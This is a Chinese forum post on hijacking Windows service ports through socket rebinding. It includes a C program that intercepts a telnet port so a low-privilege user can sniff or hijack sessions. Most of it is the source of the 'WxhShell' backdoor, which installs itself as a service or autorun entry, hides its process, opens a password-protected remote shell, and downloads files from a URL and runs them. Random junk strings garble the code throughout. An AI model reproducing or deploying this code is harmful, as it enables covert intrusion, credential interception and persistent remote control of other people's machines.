社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17032阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lrn+d$!@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); kdd7X bw-  
QqjTLuN  
  saddr.sin_family = AF_INET; ?N2X)Y@yi  
/KP_Vc:g2_  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b.,$# D{p  
L"9 Gc  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 7BK46x  
776 nWw)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7p !zp9|  
HIrEv  
  这意味着什么?意味着可以进行如下的攻击: mf~Lzp  
-7,vtd[h  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VlV)$z_  
_&K\D p&@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) L-MiaKcL  
UCn.t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 tNYJQ  
}`4K)(>4nG  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %p}qO^%M  
l&$*}yCK  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ef-a4Pi  
6l<1A$BQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 -t%L#1k  
OAY8,C=M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 a2[ 8wv1  
3^'#ny?l  
  #include q?1yE@th  
  #include 4 ;^g MI9  
  #include B6(h7~0(<  
  #include    E+:.IuXW$  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G~O" /WM  
  int main() X+d&OcO=q  
  { `|uoqKv  
  WORD wVersionRequested; ~DK F%}E  
  DWORD ret; }]tFz}E\  
  WSADATA wsaData; jjYM3LQcdP  
  BOOL val; kz$(V(k<  
  SOCKADDR_IN saddr; Euqjxz  
  SOCKADDR_IN scaddr; #i@ACAgn;6  
  int err; HKM~BL "X  
  SOCKET s; t2Ip\>;9f  
  SOCKET sc; }z8{B3K  
  int caddsize; B,w:DX  
  HANDLE mt; P4i3y{$V  
  DWORD tid;   KU*`f{|  
  wVersionRequested = MAKEWORD( 2, 2 ); ^P]?3U\nj  
  err = WSAStartup( wVersionRequested, &wsaData ); 7:#  
  if ( err != 0 ) { O{Dm;@J-aM  
  printf("error!WSAStartup failed!\n"); *O!T!J  
  return -1; >pN;J)H  
  } (21']x  
  saddr.sin_family = AF_INET; zUNH8=U  
   10/x'#(  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Q%+ }  
#aj|vox}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ii,~HH  
  saddr.sin_port = htons(23); ~:2&/MOP?  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) C{DlcZ<  
  { 9e0C3+)CY  
  printf("error!socket failed!\n"); .@fK;/OuC  
  return -1; Nvi Fq  
  } kboizJp  
  val = TRUE; <>SR4  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Zlr{L]c  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Sb'N];  
  { ULV)0SB  
  printf("error!setsockopt failed!\n"); G`9cd\^  
  return -1; \I'f3  
  } +SAk:3.#CV  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~*jsB=XM/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @gH(/pFX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @X3 gBGY)  
2f`WDL  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) nXv 7OEpTx  
  { w/?nUp  
  ret=GetLastError(); lv=yz\  
  printf("error!bind failed!\n"); e 4 p*51ra  
  return -1; q-A`/9  
  } fEx+gQW_  
  listen(s,2); <jpeu^7  
  while(1) Rrh<mo(yj#  
  { m(8jSGV  
  caddsize = sizeof(scaddr); cBg,k[,  
  //接受连接请求 JZW gr&O<  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (y-x01H  
  if(sc!=INVALID_SOCKET) R)sp  
  { 3Ne9% "  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i7i|370  
  if(mt==NULL) #;wkr))  
  { \Oi5=,  
  printf("Thread Creat Failed!\n"); 1M7\:te*  
  break; e} sc]MTM  
  } ox!|)^`$_  
  } JR H f.?  
  CloseHandle(mt); yjGGqz$  
  }  %zA2%cq<  
  closesocket(s); A/ 7r:yO  
  WSACleanup(); gJ<@;O8zu0  
  return 0; fBHkLRFH  
  }   = 4BLc  
  DWORD WINAPI ClientThread(LPVOID lpParam) 73&]En  
  { $ /}:P  
  SOCKET ss = (SOCKET)lpParam; (eC F>Wh^m  
  SOCKET sc; Qw3a"k-  
  unsigned char buf[4096]; ,[Dh2fPM,  
  SOCKADDR_IN saddr; L4\SB O  
  long num; ipx@pNW;"  
  DWORD val; } l:mN  
  DWORD ret; }2-[Ki yv  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ,:0Q1~8  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %E4$ZPSW  
  saddr.sin_family = AF_INET; 7$g*N6)Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ^U-vD[O8  
  saddr.sin_port = htons(23); C1ZFA![  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7xLo 4  
  { }9L 40)8  
  printf("error!socket failed!\n"); w/lXZg  
  return -1; p_rN1W Dd'  
  } 7yMieUF  
  val = 100; %Nwyx;>9^K  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )![f\!'PI  
  { n/KI"qa]9  
  ret = GetLastError(); K[iY{  
  return -1; &*jxI[  
  } dAu^{1+2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Q\&AlV  
  { ki[;ZmQq Y  
  ret = GetLastError(); r~S!<9f  
  return -1; mp&Le YYn  
  } K $Mx}m7l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3Eb nZb  
  { c7FfI"7HR  
  printf("error!socket connect failed!\n"); #Pb7EL#c  
  closesocket(sc); a}5vY  
  closesocket(ss); O0K@M  
  return -1; H]% mP|  
  } ?c|`R1D  
  while(1) U6/m_`nc  
  { :0J-ek.;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jw`&Np2Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pl jV|.?  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]ro1{wm!WU  
  num = recv(ss,buf,4096,0); x?k  
  if(num>0) A^T~@AO  
  send(sc,buf,num,0); SX_kr^#  
  else if(num==0) <6d{k[7fz)  
  break; +XU$GSw3(  
  num = recv(sc,buf,4096,0); xWC\954  
  if(num>0) 1jZDw~  
  send(ss,buf,num,0); TS\A`{^T  
  else if(num==0) *3w/`R<\  
  break; d&[M8(  
  } beN>5coP%A  
  closesocket(ss); ZaukMEq  
  closesocket(sc); oW yN:Qh  
  return 0 ; b6LC$"t0  
  } E]HND.`*>  
P+*rWJ8gQ  
buq *abON  
========================================================== ="#:=i]  
3/A[LL|  
下边附上一个代码,,WXhSHELL P-E'cb%ub  
Rk437vQD,  
========================================================== [T}%q"<  
4y]:Gq z~  
#include "stdafx.h" .J<qfQ  
Ab^>z  
#include <stdio.h> 1A`?y& Ll  
#include <string.h> M f%^\g.}  
#include <windows.h> M0;t%*1  
#include <winsock2.h> 3zA8pI w  
#include <winsvc.h> \V"P maP\  
#include <urlmon.h> uDy>xJ|  
RAv RNd  
#pragma comment (lib, "Ws2_32.lib") !7Yt`l$$z  
#pragma comment (lib, "urlmon.lib") lH,]ZA./  
5KC\1pe i  
#define MAX_USER   100 // 最大客户端连接数 xu_XX#9?b  
#define BUF_SOCK   200 // sock buffer 6'No4[F 4n  
#define KEY_BUFF   255 // 输入 buffer fo!Lp*'0  
=7J|KoKK  
#define REBOOT     0   // 重启 bzj!d|T`  
#define SHUTDOWN   1   // 关机 lE2wkY9^/  
v8'`gY  
#define DEF_PORT   5000 // 监听端口 R>e3@DQ~  
;)= zvr17  
#define REG_LEN     16   // 注册表键长度 X#Dhk6  
#define SVC_LEN     80   // NT服务名长度 y-)+I<M  
-u3SsU)_%N  
// 从dll定义API ~*cY&  9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FkxhEat8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @E"+qPp.3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y_7XYT!w  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d4/`:?w  
%)6 :eIS  
// wxhshell配置信息 eRl?9  
struct WSCFG { Xb+if  
  int ws_port;         // 监听端口 2=/g~rp*  
  char ws_passstr[REG_LEN]; // 口令 a`@<ZsR  
  int ws_autoins;       // 安装标记, 1=yes 0=no s:jL/%+COZ  
  char ws_regname[REG_LEN]; // 注册表键名 sw qky5_K  
  char ws_svcname[REG_LEN]; // 服务名 &6|^~(P?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 -B3w RAEt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &J&w4"0N'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J,^pt Ql  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y(I*%=:$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1z};"A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G$x["  
s!o<Pd yJK  
}; ">D(+ xr!)  
d$?n6|4  
// default Wxhshell configuration MlC-Aad(  
struct WSCFG wscfg={DEF_PORT, ]-s`#  
    "xuhuanlingzhe", s<r.+zqW  
    1, #;*ai\6>vD  
    "Wxhshell", ^%*{:0'  
    "Wxhshell", %`T^qh_dE  
            "WxhShell Service", 3d)+44G_)  
    "Wrsky Windows CmdShell Service", Mi/'4~0Y  
    "Please Input Your Password: ", milK3+N  
  1, k#=leu"I  
  "http://www.wrsky.com/wxhshell.exe", Y'a(J7  
  "Wxhshell.exe" 1'U%7#;E  
    }; 1\608~ZH  
>'1Q"$;  
// 消息定义模块 -WW!V(~p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $5"-s]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 2,e|,N"zN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &\]f!'jV  
char *msg_ws_ext="\n\rExit."; c{4nW|/W  
char *msg_ws_end="\n\rQuit."; eNC5' Z  
char *msg_ws_boot="\n\rReboot..."; owY_cDzrH  
char *msg_ws_poff="\n\rShutdown..."; T#^6u)  
char *msg_ws_down="\n\rSave to "; $XU$?_O  
Z-p^3t'{  
char *msg_ws_err="\n\rErr!"; zUgkY`]:BJ  
char *msg_ws_ok="\n\rOK!"; z?_}+  
nPIR 1Z  
char ExeFile[MAX_PATH]; xo 'w+Av  
int nUser = 0; n]{}C.C=  
HANDLE handles[MAX_USER]; B l/e>@M  
int OsIsNt; .-26 N6S  
=$zr t  
SERVICE_STATUS       serviceStatus; W6/p-e5y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >E,L"&_j  
z4fK{S  
// 函数声明 7<Js'\Z  
int Install(void); +bd{W]={  
int Uninstall(void); Ay6rUN1ef  
int DownloadFile(char *sURL, SOCKET wsh); Z6AU%3]  
int Boot(int flag); ,H(vD,54g  
void HideProc(void); ]~M {@h!<  
int GetOsVer(void); +~{nU'  
int Wxhshell(SOCKET wsl); i&Cqw~.H  
void TalkWithClient(void *cs); d@4=XSj  
int CmdShell(SOCKET sock); B;7s]R  
int StartFromService(void); J& SuUh<  
int StartWxhshell(LPSTR lpCmdLine); r$eL-jQmn  
5.HztNL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R#bV/7Ol  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); G8-d%O p  
128 rly  
// 数据结构和表定义 acZ|H  
SERVICE_TABLE_ENTRY DispatchTable[] = 7IW7'klkvD  
{ I}0 -  
{wscfg.ws_svcname, NTServiceMain}, ct/THq  
{NULL, NULL} _r)nbQm&  
}; l>P~M50D?{  
s/^= WV  
// 自我安装 vKLG9ovlY  
int Install(void) sh3}0u+  
{ .shI% 'V  
  char svExeFile[MAX_PATH]; uH h2>Px  
  HKEY key; [~JN n  
  strcpy(svExeFile,ExeFile);  ]= D  
iv`-)UsE  
// 如果是win9x系统,修改注册表设为自启动 5d;K.O  
if(!OsIsNt) { SygsZv&LZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~2 ;y4%K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?& ^l8gE  
  RegCloseKey(key); LYKm2C*d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &G,v*5N8$K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ViONG]F  
  RegCloseKey(key); !aoO,P#j  
  return 0; %['F[Mo  
    } j+v)I=  
  } N.J:Qn`(  
} IiU|@f~k  
else { h 'CLf]  
 F<1'M#bl  
// 如果是NT以上系统,安装为系统服务 Q'LU?>N)/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yZ6X$I:C  
if (schSCManager!=0) I*t}gvUt9  
{ VJPPHJ[-  
  SC_HANDLE schService = CreateService M QI=  
  ( `Q[$R&\  
  schSCManager, U_04QwhK7  
  wscfg.ws_svcname, * tqeq y-X  
  wscfg.ws_svcdisp, R'_[RHFC  
  SERVICE_ALL_ACCESS, oOw"k*,h:S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z.:A26  
  SERVICE_AUTO_START, TR;-xst@  
  SERVICE_ERROR_NORMAL, V!4E(sX  
  svExeFile, wjs7K|PK  
  NULL, Z r*ytbt  
  NULL, 6 >2! kM7  
  NULL, !ym5' h  
  NULL, w-m2N-"= '  
  NULL )oCF| 2qc  
  ); Z H*?~ #  
  if (schService!=0) VzNH%  
  { r,\(Y@I  
  CloseServiceHandle(schService); *+ayC{!  
  CloseServiceHandle(schSCManager); pwQ."2x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v?t+%|dzA  
  strcat(svExeFile,wscfg.ws_svcname); 0J B"@U&-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v\Gu  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); QUO?q+  
  RegCloseKey(key); epePx0N%x$  
  return 0; 36z{TWF  
    } owB)+  
  } pQ JZE7S  
  CloseServiceHandle(schSCManager); W@LR!EW)  
} \wP$"Z}j  
} B;$5*3D+  
ny0`~bl{p  
return 1; rA7S1)Kq  
} 3Hr%G4  
Ib C)F> Dq  
// 自我卸载 Nsy.!,!c  
int Uninstall(void) bjZ?WZr  
{ Ea 1>]V  
  HKEY key; [o "@*kf  
q}lSnWY[[  
if(!OsIsNt) { HvU)GJ u b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yCVBG  
  RegDeleteValue(key,wscfg.ws_regname); :nn'>  
  RegCloseKey(key); xMu6PM<l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -`JY] H  
  RegDeleteValue(key,wscfg.ws_regname); N_U D7P1  
  RegCloseKey(key); 7(-<x@e  
  return 0; K>U &jH  
  } ?uLqB@!2  
} v,! u{QP  
} iW)Ou?aS  
else { .T2I]d  
\hVFK6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9hQ{r 2  
if (schSCManager!=0) -vQ`}e1  
{ m"5gzH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +VDB\n   
  if (schService!=0) c'C2V9t  
  { |gNOv;l  
  if(DeleteService(schService)!=0) { `CBTZG09  
  CloseServiceHandle(schService); 0n%`Xb0q  
  CloseServiceHandle(schSCManager); +a{>jzR  
  return 0; P^z)]K#sw  
  } aE}u5L$#  
  CloseServiceHandle(schService); ZzY6M"eUXD  
  } p}\!"&,^m  
  CloseServiceHandle(schSCManager); !!AutkEg>  
} -ydT%x  
} u=5^xpI<D  
k 'o?/  
return 1; `Bx CTwc  
} 4R.#=]F  
)!Bv8&;e  
// 从指定url下载文件 2zAS \Y  
int DownloadFile(char *sURL, SOCKET wsh) ]dH; +3 }  
{ 6[i-Tl  
  HRESULT hr; Ogb !YF#e  
char seps[]= "/";  .*+ &>m7  
char *token; q0o6%c:gW  
char *file; 6 [IiJhVL  
char myURL[MAX_PATH]; jw H)x  
char myFILE[MAX_PATH]; g~]FI  
(,k=mF  
strcpy(myURL,sURL); ?V+=uTCq  
  token=strtok(myURL,seps); UaB!,vs3st  
  while(token!=NULL) aO{k-44y  
  { 'k hJZ:  
    file=token; L3S,*LnA  
  token=strtok(NULL,seps); e |!i1e!  
  } 8Vp"}(Q  
dCBJV  
GetCurrentDirectory(MAX_PATH,myFILE); JyV"jL   
strcat(myFILE, "\\"); 1]"b.[P>  
strcat(myFILE, file); rTcH~s D`  
  send(wsh,myFILE,strlen(myFILE),0); 4r %NtXAa  
send(wsh,"...",3,0); <D?`*#K  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g]S.u8K8m  
  if(hr==S_OK) DY%E&Vd:h  
return 0; }Q*8QV  
else :%{8lanO  
return 1; ;G ?_^ 0  
Z^b1i`v  
} R lv|DED$  
)7f:hg  
// 系统电源模块 Wh7$')@  
int Boot(int flag) JA&w"2X*E  
{ %*,'&S  
  HANDLE hToken; eD(#zfP/+  
  TOKEN_PRIVILEGES tkp; #R &F  
%',. K)IR  
  if(OsIsNt) { $?7}4u,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); >R6Me*VR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E/ Pa0.  
    tkp.PrivilegeCount = 1; 5 gE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oY &r76  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AV?*r-vWL.  
if(flag==REBOOT) { \JX8`]|&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PR6{Y]e%  
  return 0; h[Hw9$31  
} `5 bHZ  
else { >-Jutr<I"~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ibh!8"[  
  return 0; E0w>c'kH  
} y5>H>NS  
  } *9G;n!t  
  else { SJL?(S*  
if(flag==REBOOT) { C{4[7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  RszqDm  
  return 0; SNcaIzbr  
} +<I>]J2  
else { yPW?%7 h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I~Ziq10  
  return 0; mN, Od?q[  
} ~%'M[3Rb  
} +~ HL"Vv  
dQt]r  
return 1; 8uNq353  
} z@dHXj )  
hC,EO&  
// win9x进程隐藏模块 i0hF9M  
void HideProc(void) Y~,N,>nITu  
{ hl8[A-d(R  
mI-$4st]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \ qKh9  
  if ( hKernel != NULL ) /K1YDq<=  
  { v. !L:1@I.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H_Vf _p?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v#F .FK  
    FreeLibrary(hKernel); XK>B mq/]  
  } .:E%cL +h  
A^xD Axk  
return; yqZKn=1:  
} b8(94t|;U  
sRqFsj}3e  
// 获取操作系统版本 bNi\+=v<Ys  
int GetOsVer(void) <a; <|Fm.  
{ h",kA(+P  
  OSVERSIONINFO winfo; ><+wHb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S U04q+  
  GetVersionEx(&winfo); n1X7T0'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ZJ1 %  
  return 1; ry0P\wY}  
  else !IF#L0z  
  return 0; Cjdw@v0;  
} M"W-|t)~  
_DS_AW}D  
// 客户端句柄模块 !{jDZ?z{h  
int Wxhshell(SOCKET wsl) qq G24**9v  
{ 7vZznN8e  
  SOCKET wsh; r$d,ChzQn?  
  struct sockaddr_in client; zyTeF~_  
  DWORD myID; <;G.(CK@n  
[5yLg  
  while(nUser<MAX_USER) w,n&K6<  
{ edD19A  
  int nSize=sizeof(client); bkTk:-L5:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1?\G6T  
  if(wsh==INVALID_SOCKET) return 1; { HHc} 8  
jt=%oa  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \b6H4aQii  
if(handles[nUser]==0) M|xd9kA^  
  closesocket(wsh); 5=(fuY3  
else Y {a#2(xn  
  nUser++; u[k0z!p_ c  
  } yL{X}:;}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (hr*.NS#  
Fu].%`*xJ  
  return 0; ):-\TVz~  
} 06X4mu{  
R <}UT  
// 关闭 socket A%(t'z  
void CloseIt(SOCKET wsh) &?59{B. mD  
{ :(ni/,~Q  
closesocket(wsh); TL'^@Y7X5  
nUser--; g$+ $@~  
ExitThread(0); j6}/pe*;;T  
} O!xul$9  
j S~W cu  
// 客户端请求句柄 DC+ p s  
void TalkWithClient(void *cs) @'P\c   
{ /r2*le (H  
 $I}7EI  
  SOCKET wsh=(SOCKET)cs; `3GYV|LeQ  
  char pwd[SVC_LEN]; 3HCH-?U5  
  char cmd[KEY_BUFF]; Q6%dM'fR  
char chr[1]; f_'#wc6  
int i,j; hUR>NUK@8  
w8~B@}%  
  while (nUser < MAX_USER) { FK ? g  
\+3amkBe  
if(wscfg.ws_passstr) { d^pzMaCI  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;l4 epN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rs`"Kz`(  
  //ZeroMemory(pwd,KEY_BUFF); O7,)#{  
      i=0; &-.NkW@  
  while(i<SVC_LEN) { HX}9;O  
f i#p('8  
  // 设置超时 @~g][O#Fu  
  fd_set FdRead; Ry_"sow4  
  struct timeval TimeOut; ey!QAEg"X1  
  FD_ZERO(&FdRead); I.'(n8*  
  FD_SET(wsh,&FdRead); z"D'rHxy  
  TimeOut.tv_sec=8; Lgr(j60s  
  TimeOut.tv_usec=0; ;fi H=_{us  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9IfeaoZZ4q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zw ,( kv  
Xlg 0u.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >_esLsPWh]  
  pwd=chr[0]; "Zr+>a  
  if(chr[0]==0xd || chr[0]==0xa) { !N"Y  
  pwd=0; C[c^zn  
  break; 8>4@g!9E  
  } \A#YL1hh  
  i++; Ah#bj8}  
    } ku*H*o~  
nI0TvB D  
  // 如果是非法用户,关闭 socket zfGS=@e]G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RZ +SOZs7H  
} {PBm dX  
# cGn5c}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lE|Hp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >n(Ga9E  
xQU$E|I  
while(1) { n.L/Xp@gc  
@T 5dPmn  
  ZeroMemory(cmd,KEY_BUFF); o%j[]P@4G  
E'KKR1t  
      // 自动支持客户端 telnet标准    iup "P  
  j=0; b_v{QE<  
  while(j<KEY_BUFF) { D2N<a=#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'cgB$:T}.,  
  cmd[j]=chr[0]; YZ\a#s ,0  
  if(chr[0]==0xa || chr[0]==0xd) { 4;;K1< 1  
  cmd[j]=0; P[q 'Y^\  
  break; N$I@]PL  
  } BK *Bw,KQ<  
  j++; .G/>X%X  
    } M dKkj[#  
;:Kd?Tz$  
  // 下载文件 A,fPl R  
  if(strstr(cmd,"http://")) { Gq)E,Ln&d  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); veq.48E]  
  if(DownloadFile(cmd,wsh)) SJ0IEPk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G _1`NyI  
  else hf('4^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |i~Ab!*8n  
  } DuvI2Z WP]  
  else { (?W[#.=7  
q\uzmOh  
    switch(cmd[0]) { \A%s" O/  
  'O:QS)  
  // 帮助 x )w6  
  case '?': { 0YsBAfRG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nm}wdel"  
    break; @hVF}ybp  
  } V!&O5T(~  
  // 安装 .ey=gI!x0  
  case 'i': { U#U'iPy  
    if(Install()) ^.?5!9U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qPH=2k ,H  
    else DMXm$PU4V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V7}3H2]^  
    break; d(t$riFX}  
    } Rzj1D:?X@  
  // 卸载 ud`!X#e~  
  case 'r': { n`TXm g  
    if(Uninstall()) Pbo759q 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aK+jpi4?  
    else 7SVq fWp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q-<t'uhs[  
    break; %4#Q3YlyD  
    } FBk_LEcX  
  // 显示 wxhshell 所在路径 ]>_Ie?L)<  
  case 'p': { aePLP  
    char svExeFile[MAX_PATH];  Oye:V  
    strcpy(svExeFile,"\n\r"); TQ`4dVaf  
      strcat(svExeFile,ExeFile); `=QRC.b  
        send(wsh,svExeFile,strlen(svExeFile),0); &)Z!A*w]  
    break; )}|b6{{<  
    } vw5f|Q92  
  // 重启 l =`?Im  
  case 'b': { tgpg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %HWebZ-yY  
    if(Boot(REBOOT)) 4Rv.m* ^B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); drkY~!a  
    else { +$SJ@IH[<  
    closesocket(wsh); *p  !F+"  
    ExitThread(0); 4n5r<?rY  
    } G[4$@{  
